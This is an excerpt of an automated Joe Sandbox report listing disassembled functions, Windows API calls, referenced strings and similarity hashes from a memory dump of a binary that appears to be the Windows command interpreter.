Download Yara Rule

APIs

Part of subcall function 00007FF718D558E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF718D6C6DB), ref: 00007FF718D558EF

Part of subcall function 00007FF718D5081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D5084E

towupper.MSVCRT ref: 00007FF718D6C1C9
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6C31C
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF718D6C5CB

Strings

\, xrefs: 00007FF718D6C30F
PROMPT, xrefs: 00007FF718D6C079
%s , xrefs: 00007FF718D6C3D6
Unknown, xrefs: 00007FF718D6C3AB
%s>, xrefs: 00007FF718D6C684
x, xrefs: 00007FF718D6C36B

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CriticalDriveEnterEnvironmentFreeLocalSectionTypeVariabletowupper
String ID: %s $%s>$PROMPT$Unknown$\$x
API String ID: 2242554020-3610052186
Opcode ID: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction ID: aeeeee4f7a869a25eda419079a81743dcab55c36b35f4003890a763614b70bbf
Opcode Fuzzy Hash: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction Fuzzy Hash: 3F126E21E08F4E81EB24BB55A44417AE6A0EF49BB4FE44236D9DD437E4DE3CE50D8728

Function 00007FF718D686FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D6883F
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D6897A
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D689AC
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D689BD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D689D1

Strings

:, xrefs: 00007FF718D687B7
%s, xrefs: 00007FF718D688B9
/-., xrefs: 00007FF718D6873E

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LocalTime$ErrorLast_get_osfhandle
String ID: %s$/-.$:
API String ID: 1644023181-879152773
Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction ID: c7272a55ea01a4274ca06300b5e2a925d986a8746adb601935e68d61e7e4d6fe
Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction Fuzzy Hash: B69193A2A08F4E91EF14AB25D4522B9E3A0FF48BB4FD44136D9CE42694DE3CE54DC724

Function 00007FF718D6627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF718D67251), ref: 00007FF718D6628E

Strings

wil, xrefs: 00007FF718D663D2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction ID: d5c0364e89f76d35f7b678a08f72c01c08c8a2aa28c9d98935f29dd209503926
Opcode Fuzzy Hash: ea3b1f99615cb6da41309659edc9fe07f1318ac417b21432a0effa90e1671882
Instruction Fuzzy Hash: 0D416121A08F4B83F3606B11F40127DE6A1EF8D7A4FF48131E98946694DF3DE84C8725

Function 00007FF718D6CDC0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D6CE20
_ultoa.MSVCRT ref: 00007FF718D6CE43
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D6CE4F
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D6CE84
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D6CEDE
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF718D6CF24

Strings

Application, xrefs: 00007FF718D6CEAB
System, xrefs: 00007FF718D6CE90
, xrefs: 00007FF718D6CE64

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
String ID: $Application$System
API String ID: 3377411628-1881496484
Opcode ID: 081ad1a78538691813d500f2119477f8c8ef04af017c9f27d6f6f5b033d517ce
Instruction ID: 91b5ffe50e93a4e4f91f51e0ded5a2f0c5fc3cae294cd853ac092d88894eee41
Opcode Fuzzy Hash: 081ad1a78538691813d500f2119477f8c8ef04af017c9f27d6f6f5b033d517ce
Instruction Fuzzy Hash: 7F414832B08F469AE710AB60E4403EDB7B5EB8D768F845235DA8E42B58EF38D10DC754

Function 00007FF718D414E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF718D41829), ref: 00007FF718D41513
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00007FF718D41829), ref: 00007FF718D4152B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5AB0F
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5AB29
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5AB4E
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5AB65

Strings

\, xrefs: 00007FF718D5AAFC
:, xrefs: 00007FF718D5AAF0

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
String ID: :$\
API String ID: 3961617410-1166558509
Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction ID: d5743234bf9cbb52a2a32f588e034dd845ce0662e571145db5340151e10f53ab
Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
Instruction Fuzzy Hash: 0B218032B08F8A86EB106B60A4450B9E6B1EB4DBA4BC88675D98F42790DF3CD44C8625

Function 00007FF718D5258C Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506D6
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506F0
Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D5074D
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D50762

_wcsicmp.MSVCRT ref: 00007FF718D525CA
_wcsicmp.MSVCRT ref: 00007FF718D525E8
_wcsicmp.MSVCRT ref: 00007FF718D5260F
_wcsicmp.MSVCRT ref: 00007FF718D52636
_wcsicmp.MSVCRT ref: 00007FF718D52650

Strings

NOT, xrefs: 00007FF718D52649
ERRORLEVEL, xrefs: 00007FF718D525C3
EXIST, xrefs: 00007FF718D525E1
DEFINED, xrefs: 00007FF718D5262F
CMDEXTVERSION, xrefs: 00007FF718D52608

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp$Heap$AllocProcess
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 3407644289-1668778490
Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction ID: d77ecf3db381c8a66aaa2fe7df130025494dd34f60b2c4f1351ff9d81530b148
Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction Fuzzy Hash: 0E315D21A0CF0A85F7157F21E815279E6B5AF8CB65FC48136EA8E46295DF3CE40CC729

Function 00007FF718D70C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D71398: free.MSVCRT ref: 00007FF718D713C2
Part of subcall function 00007FF718D71398: free.MSVCRT ref: 00007FF718D713DF

Part of subcall function 00007FF718D42730: towupper.MSVCRT(00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D427C1

Part of subcall function 00007FF718D491C0: memset.MSVCRT ref: 00007FF718D4921C
Part of subcall function 00007FF718D491C0: wcsrchr.MSVCRT ref: 00007FF718D492D8
Part of subcall function 00007FF718D491C0: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D49362
Part of subcall function 00007FF718D491C0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D49373

Part of subcall function 00007FF718D48DF8: memset.MSVCRT ref: 00007FF718D48E6D
Part of subcall function 00007FF718D48DF8: memset.MSVCRT ref: 00007FF718D48E93

Part of subcall function 00007FF718D57854: memset.MSVCRT ref: 00007FF718D5790B

qsort.MSVCRT ref: 00007FF718D70DDF
wcschr.MSVCRT ref: 00007FF718D70E40
calloc.MSVCRT ref: 00007FF718D70EA2
calloc.MSVCRT ref: 00007FF718D70F5A
wcschr.MSVCRT ref: 00007FF718D70F9E
memmove.MSVCRT ref: 00007FF718D71001
memmove.MSVCRT ref: 00007FF718D71021

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF718D70E39, 00007FF718D70F97

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
String ID: &()[]{}^=;!%'+,`~
API String ID: 2516562204-381716982
Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction ID: 1ea875492baddd73b5eee117b03c72bb4a99c5cb796b55bb25a8c0899670b689
Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction Fuzzy Hash: 0DC1B032A04B5586EB54AF25E84067EF7A1FB48BA8F841235DE8D03B94DF3CE458C714

Function 00007FF718D57E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

iswspace.MSVCRT ref: 00007FF718D57EEE

Strings

A, xrefs: 00007FF718D601B6

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: A
API String ID: 3731854180-3554254475
Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction ID: 3a466747c638f7a2f4f37ef013ba15606f98c853852929f1f0cc1b4dad51bab7
Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction Fuzzy Hash: 32A17C21909F8A8AE720BB11A451279F6B0FF4D7A4FE48135DACD47794DF3CA84D8728

Function 00007FF718D6A39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D6A3EA
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D6A40C
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF718D6A47B
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF718D6A4D3
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF718D6A508
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF718D6A54A

Strings

NtQueryInformationProcess, xrefs: 00007FF718D6A402
NTDLL.DLL, xrefs: 00007FF718D6A3E1

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: MemoryProcessRead$AddressLibraryLoadProc
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1580871199-2613899276
Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction ID: 5b85a46dcb55ae807b95f414b811bdbfec41bf298cf41bf43dc8c7d37b3dad14
Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction Fuzzy Hash: 24515D71A18F8A86EB109B16A800279F7A5FB88BA4F945135DADE03754DF3CE40DC718

Function 00007FF718D47420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF718D474A1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D474E8
_open_osfhandle.MSVCRT ref: 00007FF718D47509
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D64931

Strings

con, xrefs: 00007FF718D4748A

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
String ID: con
API String ID: 689241570-4257191772
Opcode ID: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction ID: 62cf8bcdd974b7cc7c1bbc34dc538cbd8db4e89e63605e0833817ff404543920
Opcode Fuzzy Hash: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction Fuzzy Hash: 70416D32A08F4986E310AB159484379FAA1FB8DBB4F998334DAAD53790CF3DD84D8754

Function 00007FF718D6A58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6A5DC

Part of subcall function 00007FF718D6A8D4: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6A8F1

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6A62E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D6A68B
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D6A6A0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D6A6DE
RtlFreeHeap.NTDLL ref: 00007FF718D6A6F2
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D6A701

Strings

PE, xrefs: 00007FF718D6A65C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
String ID: PE
API String ID: 2941894976-4258593460
Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction ID: 224424bc2e105748b0ac1c47427e60060a8b72bcc7bf380fc76f82bed164be16
Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction Fuzzy Hash: 2F415161608F9986E724AB12E410279F7A1FB8DBA0F944230DADD03B95DF3CE44DCB25

Function 00007FF718D50010 Relevance: 13.7, APIs: 9, Instructions: 163fileCOMMON

Download Yara Rule

APIs

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF718D6849D,?,?,?,00007FF718D6F0C7), ref: 00007FF718D50045
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D6F0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D50071
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D50092
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D500A7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D50148
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D50181

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File$LockPointerShared$AcquireByteCharMultiReadReleaseWide
String ID:
API String ID: 734197835-0
Opcode ID: 6daa823d36a278c72bc8dcf2d42bf9926b6fb5b8f0ec4fad86b12d1df65ba387
Instruction ID: 6f59c87964cb0aed17ec8195823add5250b497e6625b46caaf8c861165e81acd
Opcode Fuzzy Hash: 6daa823d36a278c72bc8dcf2d42bf9926b6fb5b8f0ec4fad86b12d1df65ba387
Instruction Fuzzy Hash: AC618621D08F9A86E724AB159801779FAB1BB4DB64FC48232D9DD43790DF3C984DC725

Function 00007FF718D69B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69B77
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69CD2
wcsrchr.MSVCRT ref: 00007FF718D69D47
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69E38

Strings

%s=%s, xrefs: 00007FF718D69C81, 00007FF718D69E85
\Shell\Open\Command, xrefs: 00007FF718D69B8F, 00007FF718D69DE6
., xrefs: 00007FF718D69B96

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Enum$Openwcsrchr
String ID: %s=%s$.$\Shell\Open\Command
API String ID: 3402383852-1459555574
Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction ID: d6aad88592c66eec9f32d1871268cc42b498b754b7e474adba26d290f8d7e2eb
Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction Fuzzy Hash: 53A1A161A09F4E92EB10BB5590502F9E2A0EF89BB4FE44131DA8D07785DF7CE94DC728

Function 00007FF718D57610 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D5768B
memset.MSVCRT ref: 00007FF718D576B4

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D577F5
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D57815

Part of subcall function 00007FF718D58198: wcscmp.MSVCRT ref: 00007FF718D581EA
Part of subcall function 00007FF718D58198: wcscmp.MSVCRT ref: 00007FF718D581FD

Strings

%s, xrefs: 00007FF718D5FC14

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
